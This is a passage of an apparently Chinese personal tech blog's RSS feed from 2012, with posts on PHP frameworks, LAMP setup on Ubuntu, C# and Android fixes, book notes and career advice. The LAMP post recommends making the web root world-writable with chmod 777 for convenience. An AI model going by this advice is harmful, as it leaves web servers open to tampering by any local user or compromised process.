&lt;li&gt;使用 MVC 范例。&lt;/li&gt;
&lt;li&gt;具有开放源码贡献者。&lt;/li&gt;
&lt;li&gt;有贡献者负责保证他们的代码不是他人的知识产权。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过建立 MVC 模式，Zend 框架的目标是使编程生活更加轻松，这不仅体现在通用领域，而且对您始终想要做的具体的事情也是如此，比如访问数据库或输出 PDF 文件。&lt;/p&gt;
&lt;p&gt;具体可参考：&lt;a href=&#34;https://www.ibm.com/developerworks/cn/opensource/os-php-zend1/&#34;&gt;理解 Zend 框架，第 1 部分: 基础&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;七。GD库
　　百科上的解释：　GD库，是php处理图形的扩展库，GD库提供了一系列用来处理图片的API，使用GD库可以处理图片，或者生成图片。 在网站上GD库通常用来生成缩略图，&lt;mark&gt;或者用来对图片加水印，或者用来生成汉字验证码，或者对网站数据生成报表等&lt;/mark&gt;。在PHP处理图像，可使用GD库，
　　如何检测Lamp是否已经有了GD库呢。将下面的代码&lt;pre lang=&#34;php&#34;&gt;&lt;?php phpinfo(); ?&gt; &lt;/pre&gt;
保存为phpinfo.php，然后传到服务器的网站目录下，在浏览器访问这个文件，如: localhost/phpinfo.php，然后找到一行为GD Support，后面如果是enabled，那就说明系统已经有了GD库
　　使用的例子可以参见官方一个例子，在指定的图片上添加文字。
例子参见：&lt;a href=&#34;http://www.php.net/manual/en/image.examples-png.php&#34;&gt;http://www.php.net/manual/en/image.examples-png.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;八。Smarty引擎
　　Smarty主要就是分离了前台和后台的实现。使得多人合作开发程序更加方便。因为前后台在代码上基本完全分离，一般实现就是一个模板文件，以tpl结尾，一个php文件。在tpl文件里面用变量来指示内容。而在php文件中将内容传递过去。来完成页面显示。
参考：&lt;a href=&#34;http://blog.csdn.net/phphot/article/details/2190534&#34;&gt;smarty安装及初级使用&lt;/a&gt;只看第一部分的例子即可。&lt;/p&gt;</description>
    </item>
    <item>
      <title>《PHP和MySQL程序设计》&amp; 《细说PHP》</title>
      <link>http://blog.leaver.me/2012/04/16/php%E5%92%8Cmysql%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1-%E7%BB%86%E8%AF%B4php/</link>
      <pubDate>Mon, 16 Apr 2012 22:04:41 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/16/php%E5%92%8Cmysql%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1-%E7%BB%86%E8%AF%B4php/</guid>
      <description>&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20636_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5e90de21e5b4fc73c2ddcbabdb6dc50e8a80ae2f.jpg&#34;&gt;&lt;/a&gt;
　　今天从早上到下午一使劲把&lt;a href=&#34;http://book.douban.com/subject/3693851/&#34;&gt;PHP和MySQL程序设计&lt;/a&gt; 这本书读完了。因为昨天读完了head first的那本php书。所以看这本书难度也不是很大。先对这本书整体评价一下。&lt;/p&gt;
&lt;p&gt;　　这本书我其实之前并没有在豆瓣上看看评论。豆瓣也不适合看这类专业书的评论。只是看到是第三版。说明这本书还是不错的。一般国内的专业书很少看到出过第二版的。。因为质量实在是太差了。选好书的一个方法就是看版本。。能出到第N版的都是有其可圈可点之处的。于是把这本书拿来就看。&lt;/p&gt;
&lt;p&gt;　　书从头看到尾。我只能说大叔把代码贴的太多了。但是好&lt;span style=&#34;color: #ff0000;&#34;&gt;&lt;span style=&#34;color: #000000;&#34;&gt;事情&lt;/span&gt;就是代码给出了执行结果&lt;/span&gt;。这基本上方便了我直接看代码。文字部分跳过一些。但是，大叔，我也是人啊。 你把代码贴这么多。。函数给这么全。这也记不住啊。而且书也并不是有个循序渐进的过程。对比昨天看的head first的书。深深体会到一本好的入门书是多么重要啊。这本书并不如它的宣传那样适合新手读。很多地方都用了结果还没解释。到后面又开始解释。完全无条理。。&lt;span style=&#34;color: #ff0000;&#34;&gt;最最重要的是错误太多了。。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;　　不过。对我还是有很大收获的。因为看了这本书就发现head first的书确实是入门书。讲的比较浅。（但非常重要），一些框架。模板。类在这里面都有讨论。需要花些时间搞清楚。我已经记下来了。稍后准备阅读一下这些主题，&lt;/p&gt;
&lt;p&gt;　　中午还用了一个多小时看完了《细说PHP》，不便于多说什么。。和《PHP和MySQL程序设计》的区别就是&lt;span style=&#34;color: #ff0000;&#34;&gt;代码没有执行结果&lt;/span&gt;。讲的倒还算清楚。因为我看这本书不仔细。只是捡自己不会的去看。所以对本书评价不是太高。相比前一本书。&lt;span style=&#34;color: #ff0000;&#34;&gt;这本书列的函数没那么多&lt;/span&gt;。都是比较实用的。。这点很好。但是看豆瓣和亚马逊到评分倒还挺高的。。令我情何以堪啊。
　　一会把一点知识点贴上来。记录一下今日的收获吧。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>ubuntu终端su认证失败解决</title>
      <link>http://blog.leaver.me/2012/04/15/ubuntu%E7%BB%88%E7%AB%AFsu%E8%AE%A4%E8%AF%81%E5%A4%B1%E8%B4%A5%E8%A7%A3%E5%86%B3/</link>
      <pubDate>Sun, 15 Apr 2012 18:09:10 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/15/ubuntu%E7%BB%88%E7%AB%AFsu%E8%AE%A4%E8%AF%81%E5%A4%B1%E8%B4%A5%E8%A7%A3%E5%86%B3/</guid>
      <description>&lt;p&gt;　　这个以前碰到过。不过今天又遇到了。记录一下。Ubuntu 安装后，root用户默认被锁定，不允许登录，也不允许“su”到 root。对于开发人员来说貌似有些麻烦了。。&lt;/p&gt;
&lt;p&gt;　　解决方法：打开终端。输入&lt;pre lang=&#34;php&#34;&gt;sudo passwd &lt;/pre&gt;回车，然后输入安装ubuntu时设置的密码。回车后要求输入新密码。新密码可以和安装时的密码相同。所以继续输吧。然后确认一次。就可以了&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20548_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5db34965eb544ff3fdbab59aafcc13ec0cee0e19.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后正常su root 就可以切换到root了&lt;/p&gt;</description>
    </item>
    <item>
      <title>lamp开发环境简单搭建</title>
      <link>http://blog.leaver.me/2012/04/15/lamp%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83%E7%AE%80%E5%8D%95%E6%90%AD%E5%BB%BA/</link>
      <pubDate>Sun, 15 Apr 2012 17:54:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/15/lamp%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83%E7%AE%80%E5%8D%95%E6%90%AD%E5%BB%BA/</guid>
      <description>&lt;p&gt;　　因为一些事情，要去学习php开发。所以呢。今天就先搭建一下php开发环境，其实windows下搭建相对比较简单，也有一键安装包。比如&lt;a href=&#34;http://www.appservnetwork.com/&#34;&gt;AppServ&lt;/a&gt;，但是因为考虑到以后的一些事情，于是还是采用LAMP开发环境。&lt;/p&gt;
&lt;p&gt;　　我是用Ubuntu来做，本地刚好有Ubuntu的镜像。。虚拟里面来测试。首先就是在虚拟机里安装Ubuntu。这个不多说。大家都会。安装好以后。登陆进来。命令行或是图形界面都可以。&lt;/p&gt;
&lt;p&gt;　　新版本的Ubuntu貌似是没了新立得管理器。所以使用命令来安装更简单。打开终端。切换到root。如果不能切换到root。&lt;a href=&#34;http://leaver.me/archives/205.html&#34;&gt;参考此文&lt;/a&gt;。切换到root后。输入&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;apt-get install apache2 mysql-server mysql-client php5 php5-gd php5-mysql&lt;/pre&gt;
&lt;p&gt;　　回车后就开始自动下载了。大概几分钟后就会出现MySql的安装设置界面&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20538_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
　　输入你想设置的mysql的登录密码。然后需要再输入一遍&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20539_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
ok。等会就安装完成了。。就这么简单。。
然后进行一些后续的设置&lt;/p&gt;
&lt;p&gt;　　默认网站的目录在/usr/www.这个目录的权限如下图。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20541_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　为了以后方便。设置为777会更好一些。。执行如下命令：&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;sudo chmod 777 /var/www &lt;/pre&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20542_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
　　然后是启用 apache的 mod_rewrite 模块
输入如下命令：&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;sudo a2enmod rewrite&lt;/pre&gt;
&lt;p&gt;　　然后继续输入如下命令来重启 Apache服务器：&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;sudo /etc/init.d/apache2 restart&lt;/pre&gt;
&lt;p&gt;　　Apache重启后我们可以测试一下，在 /var/www目录下新建文件 test.php，写入代码： &lt;pre lang=&#34;php&#34;&gt; &lt;?php phpinfo(); ?&gt; &lt;/pre&gt;保存，在地址栏输入 http://127.0.0.1/test.php 或 http://localhost/test.php ，如果正确出现了如下 php 配置信息则表明 LAMP Apache已经正常工作了
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20543_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　还可以测试一下mysql是否正常。这个直接在终端下输入&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;mysql -u root -p&lt;/pre&gt;
&lt;p&gt;　　然后根据提示输入密码就出现如下的图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20544_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
　　表示已经登录到mysql了。说明mysql可以了。可以继续输入 &lt;pre lang=&#34;php&#34;&gt;show databases;&lt;/pre&gt;来显示所有的数据库。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20547_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;参考文章：&lt;a href=&#34;http://blog.csdn.net/xiaojianpitt/article/details/6326834&#34;&gt;http://blog.csdn.net/xiaojianpitt/article/details/6326834&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>System.Web中不存在类型或命名空间名称UI解决</title>
      <link>http://blog.leaver.me/2012/04/13/system.web%E4%B8%AD%E4%B8%8D%E5%AD%98%E5%9C%A8%E7%B1%BB%E5%9E%8B%E6%88%96%E5%91%BD%E5%90%8D%E7%A9%BA%E9%97%B4%E5%90%8D%E7%A7%B0ui%E8%A7%A3%E5%86%B3/</link>
      <pubDate>Fri, 13 Apr 2012 16:52:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/13/system.web%E4%B8%AD%E4%B8%8D%E5%AD%98%E5%9C%A8%E7%B1%BB%E5%9E%8B%E6%88%96%E5%91%BD%E5%90%8D%E7%A9%BA%E9%97%B4%E5%90%8D%E7%A7%B0ui%E8%A7%A3%E5%86%B3/</guid>
      <description>&lt;p&gt;今天打算用C#写个模拟登录的程序。从类库里找到一个HTMLHelper的类。用来处理html的请求接收等处理。为了让类能够先运行起来，先把该类拖入解决方案，引用就不用添加了，因为该类没写命名空间，可以直接用，我测试其中一个最简单的函数&lt;/p&gt;
&lt;pre lang=&#34;C#&#34;&gt; private void btnGet_Click(object sender, EventArgs e)
        {
            txtContent.Text=HTMLHelper.Get_Http(&#34;http://leaver.me&#34;);
        }&lt;/pre&gt;
&lt;p&gt;获取我网站的首页源代码。到TextBox控件
编译，运行。出现如题错误。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20479_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/54e8c1e1dd772294c6666aa9a404276089188b20.png&#34;&gt;
&lt;/a&gt;
命名空间“System.Web”中不存在类型或命名空间名称“UI”。是否缺少程序集引用? E:\project\C#\GTest\GTest\HTMLHelper.cs
直接对着错误点右键，复制。然后删掉后面的路径。使关键字包括前面几个就行了，到Google中搜索。大部分人给的说明都是
原因是缺少System.web的引用，只要右键单击项目，添加引用就行了！
那咱就添加呗 对着工程点击引用-&amp;gt;添加引用&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20480_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a0a47e17fbab5a4472ba94d77e51f8d372c64121.png&#34;&gt;&lt;/a&gt;
悲剧发生了。。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20481_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/64261ab1e4ed043cf5aa5c973c324795405e4201.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;根本就没有该dll文件。。泪奔了。。于是Google之。。发现没有一个讲清楚的。都是夸夸其谈。。没有任何实质性方案。于是换英语搜。
关键字：Cannot add System.Web.dll reference
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20482_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d2f3cc95979d5c583471580599b36d269791eae4.png&#34;&gt;
&lt;/a&gt;
第一个是stackoverflow，大名鼎鼎的栈溢出啊。。进去看看。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;For people that cant find &amp;ldquo;System.Web&amp;rdquo; at .Net References, this might be the answer:&lt;/p&gt;
&lt;p&gt;&amp;ldquo;you need to right-click the project -&amp;gt; properties -&amp;gt; then change the &amp;ldquo;Target framework&amp;rdquo; which will probably be &amp;ldquo;.NET Framework 4 Client Profile&amp;rdquo; to just &amp;ldquo;.NET Framework 4&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;The answer was given by Tinister (thanks) as a reply to a previuos post. But I thought it was a little bit hidden at his original post. So i put it here to make it easer to be seen. Hope it helps.
大牛的我就不翻译了，很简单。项目-&amp;gt;项目属性-&amp;gt;目标框架 改成.net framework 4
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20483_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/457f4431088a7cb6b474f3d36cbc9ec738499ab1.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20484_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a7ba54a6e73b0b536554c04415d6a72d4cd89491.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个步骤完成后，重复前面的添加引用的步骤就会发现已经有了System.Web引用了
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20487_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9379ef1ef5dba7bad0d039ce91ea9174d1610f65.png&#34;&gt;&lt;/a&gt;
编译运行。一切ok
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20485_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8e5ae5c835f250b1bceca5e8d3a8bda384df2bab.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果你遇到了这样的问题也可以试试吧。&lt;/p&gt;
&lt;p&gt;转自请注明：&lt;a href=&#34;http://leaver.me/archives/177.html&#34;&gt;http://leaver.me/archives/177.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>外部图片使用灯箱效果</title>
      <link>http://blog.leaver.me/2012/04/12/%E5%A4%96%E9%83%A8%E5%9B%BE%E7%89%87%E4%BD%BF%E7%94%A8%E7%81%AF%E7%AE%B1%E6%95%88%E6%9E%9C/</link>
      <pubDate>Thu, 12 Apr 2012 23:11:07 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/12/%E5%A4%96%E9%83%A8%E5%9B%BE%E7%89%87%E4%BD%BF%E7%94%A8%E7%81%AF%E7%AE%B1%E6%95%88%E6%9E%9C/</guid>
      <description>&lt;p&gt;　　我当前使用的这个主题如我前面所说，是支持灯箱效果的，如果你不知道什么是灯箱效果，点击文章中的图片就知道了，而我因为使用的是图床，主机提供的。和我的网站不在一个地方。。所以点击没反应。。想了想。其实很简单。。
　　那就是切换到HTML编辑页面，点击img按钮。。添加了一幅图片，然后把图片的标签选中，也就是整个img标签。包括开始和结束。然后，点击link按钮。给图片加上一个超链接。当然地址就写图片的地址了。这样点击图片的时候就会有灯箱效果了。。
效果点击下图即可&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20328_o.jpg&#34;&gt;&lt;img alt=&#34;灯箱效果&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>andorid 实现拖动滑动效果</title>
      <link>http://blog.leaver.me/2012/04/12/andorid-%E5%AE%9E%E7%8E%B0%E6%8B%96%E5%8A%A8%E6%BB%91%E5%8A%A8%E6%95%88%E6%9E%9C/</link>
      <pubDate>Thu, 12 Apr 2012 11:05:43 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/12/andorid-%E5%AE%9E%E7%8E%B0%E6%8B%96%E5%8A%A8%E6%BB%91%E5%8A%A8%E6%95%88%E6%9E%9C/</guid>
      <description>&lt;p&gt;这个大家都有过体会，就是当你左右拖动的时候，能够做到向左向右翻页。代码我写了很详细的注释。包括xml的注释，所以就不怎么解释了。先测试下代码高亮能用不.我当前用的是&lt;strong&gt;WP-Syntax&lt;/strong&gt;插件。将就着还行吧。如果你知道更好的话。不妨给我推荐一下。&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt;package com.android.flip;

import android.app.Activity;
import android.os.Bundle;
import android.view.GestureDetector;
import android.view.MotionEvent;
import android.view.View;
import android.view.GestureDetector.OnGestureListener;
import android.view.animation.AnimationUtils;
import android.widget.ImageView;
import android.widget.ViewFlipper;

/**
 * Android实现左右滑动效果
 * @author byStander
 *
 */&lt;/pre&gt;</description>
    </item>
    <item>
      <title>wordpress使用NextGEN Gallery 图片展示重复解决</title>
      <link>http://blog.leaver.me/2012/04/12/wordpress%E4%BD%BF%E7%94%A8nextgen-gallery-%E5%9B%BE%E7%89%87%E5%B1%95%E7%A4%BA%E9%87%8D%E5%A4%8D%E8%A7%A3%E5%86%B3/</link>
      <pubDate>Thu, 12 Apr 2012 07:35:43 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/12/wordpress%E4%BD%BF%E7%94%A8nextgen-gallery-%E5%9B%BE%E7%89%87%E5%B1%95%E7%A4%BA%E9%87%8D%E5%A4%8D%E8%A7%A3%E5%86%B3/</guid>
      <description>&lt;p&gt;博客刚刚建立，找了一个比较漂亮的主题，白色的。也就是&lt;a href=&#34;http://devpress.com/shop/origin/&#34;&gt;Origin&lt;/a&gt;这个。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20340_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后呢。为了有一个好的图片展示效果，也就是我首页的相册页面。我使用了被大家广泛好评的NextGEN Gallery，在一切完成后，我发现浏览图片的时候会出现重复的效果&lt;/p&gt;</description>
    </item>
    <item>
      <title>拖延心理分析</title>
      <link>http://blog.leaver.me/2012/04/11/%E6%8B%96%E5%BB%B6%E5%BF%83%E7%90%86%E5%88%86%E6%9E%90/</link>
      <pubDate>Wed, 11 Apr 2012 12:12:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/11/%E6%8B%96%E5%BB%B6%E5%BF%83%E7%90%86%E5%88%86%E6%9E%90/</guid>
      <description>&lt;p&gt;拖延从根本上来说并不是一个时间管理方面的问题，也不是一个道德问题，而是一个复杂的心理问题。根本而言，拖延的问题是一个人跟自身如何相处的问题，它反映的是一个人在自尊上的问题。在我们的第一本书里，我们将它看做是一个人自我价值感方面的问题。我们强调，自我价值感是以一种自我接受的能力为基础的，其中包括接受我们的生理状况，接受我们的历史，接受我们的环境，以及接受我们作为人的诸多局限性. -摘录&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;background-color: #00ff00;&#34;&gt;一.拖延是什么 &lt;/span&gt;
拖，我懂，就是打死以后拉走的意思，延，我也懂。就是打死以后等会再拉走，那么，至于拖延，我想就不必多说了，主要分清拖延和延后处理的关系就行了，一个评判点就是看有没有让你感到烦恼。
&lt;span style=&#34;background-color: #00ff00;&#34;&gt;二，拖延的症状 &lt;/span&gt;
怎么知道自己是不是拖延患者呢。我们知道，行为是判断我们的最佳方法，如果你都懒的去想这个问题，认为还太早的话，那么你显然就是拖延的患者呢。请允许我用患者这个词，&lt;/p&gt;</description>
    </item>
    <item>
      <title>一位程序员工作10年总结的13个忠告</title>
      <link>http://blog.leaver.me/2012/04/11/%E4%B8%80%E4%BD%8D%E7%A8%8B%E5%BA%8F%E5%91%98%E5%B7%A5%E4%BD%9C10%E5%B9%B4%E6%80%BB%E7%BB%93%E7%9A%8413%E4%B8%AA%E5%BF%A0%E5%91%8A/</link>
      <pubDate>Wed, 11 Apr 2012 11:43:46 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/11/%E4%B8%80%E4%BD%8D%E7%A8%8B%E5%BA%8F%E5%91%98%E5%B7%A5%E4%BD%9C10%E5%B9%B4%E6%80%BB%E7%BB%93%E7%9A%8413%E4%B8%AA%E5%BF%A0%E5%91%8A/</guid>
      <description>&lt;p&gt;展望未来，总结过去10年的程序员生涯，给程序员小弟弟小妹妹们的一些总结性忠告&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20328_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0879e53683bb292802a314bbdb3753660658501b.jpg&#34;&gt;&lt;/a&gt;
走过的路，回忆起来是那么曲折，把自己的一些心得体会分享给程序员兄弟姐妹们，虽然时代在变化，但是很可能你也会走我已经做过的10年的路程，有些心得体会你可以借鉴一下，觉得说得有道理的你就接纳，觉得说得没道理的，你就抛弃，以下是我发自内心的，给大家的忠告，特别是针对那些小弟弟妹妹们。&lt;/p&gt;
&lt;p&gt;01. 自己的户口档案、养老保险、医疗保险、住房公积金一定要保管好。
由于程序员行业每年跳槽一次，我不隐瞒大家，我至少换过5个以上的单位，这期间跳来跳去，甚至是城市都换过3个。还好户口没丢掉，其他都已经是乱了，好几个城市里，都有交过三金，甚至是一个程序的2个区里交的都有，那些东西，10年后，会变得很重要。你买房子若有公积金，可以取出来，贷款利率也会比较低一些，有孩子了，还需要上学，生病了还需要医疗保险。
特别是买房子时，你要商业贷款与公积金贷款的利率差别还是很大，有可能会有10万的差距。你平时都注意这些，会给你带来的损失会最小，例如每个月缴纳300元的公积金，公司也缴纳300元，&lt;/p&gt;</description>
    </item>
    <item>
      <title>《代码整洁之道》读书笔记</title>
      <link>http://blog.leaver.me/2012/04/11/%E4%BB%A3%E7%A0%81%E6%95%B4%E6%B4%81%E4%B9%8B%E9%81%93%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Wed, 11 Apr 2012 11:18:23 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/11/%E4%BB%A3%E7%A0%81%E6%95%B4%E6%B4%81%E4%B9%8B%E9%81%93%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;div&gt;我们是一群代码猴子，上窜下跳，自以为领略了编程的真谛，可惜，当我们抓着几只酸桃子，得意洋洋坐到树枝上，却对自己造成的混乱熟视无睹，那堆“可以运行”的乱麻程序，就在我们的眼皮底下慢慢腐烂。
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;代码永存&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;勒布朗法则：稍后等于永不（later equals never）&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;一行修改，涉及到了数百个模块，为什么会发生，好代码变成糟糕的代码，不是愚蠢的经历，苛求的用户，而是我们自作自受，我们太不专业了。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;能分辨出整洁代码和肮脏代码，并不意味着你就能写出整洁的代码。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;漂亮的代码让编程语言就像是专门为解决那个问题而存在。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;命名的意义&lt;/div&gt;
&lt;div&gt;名副其实：如果名字竟然要注释来补充说明，那就不算名副其实。&lt;/div&gt;
&lt;div&gt;避免误导：不要使用过于相似，或者与程序员直觉相悖的命名。&lt;/div&gt;
&lt;div&gt;做有意义的区分。注释都是冗余，Variable一词永远不要出现在变量名中。&lt;/div&gt;
&lt;div&gt;使用读的出来的名称&lt;/div&gt;
&lt;div&gt;使用可搜索的名称。&lt;/div&gt;
&lt;div&gt;避免思维映射&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;名字长短应与其作用域大小相对应，单字母名称仅用于短方法中的本地变量。&lt;/div&gt;
&lt;div&gt;</description>
    </item>
  </channel>
</rss>
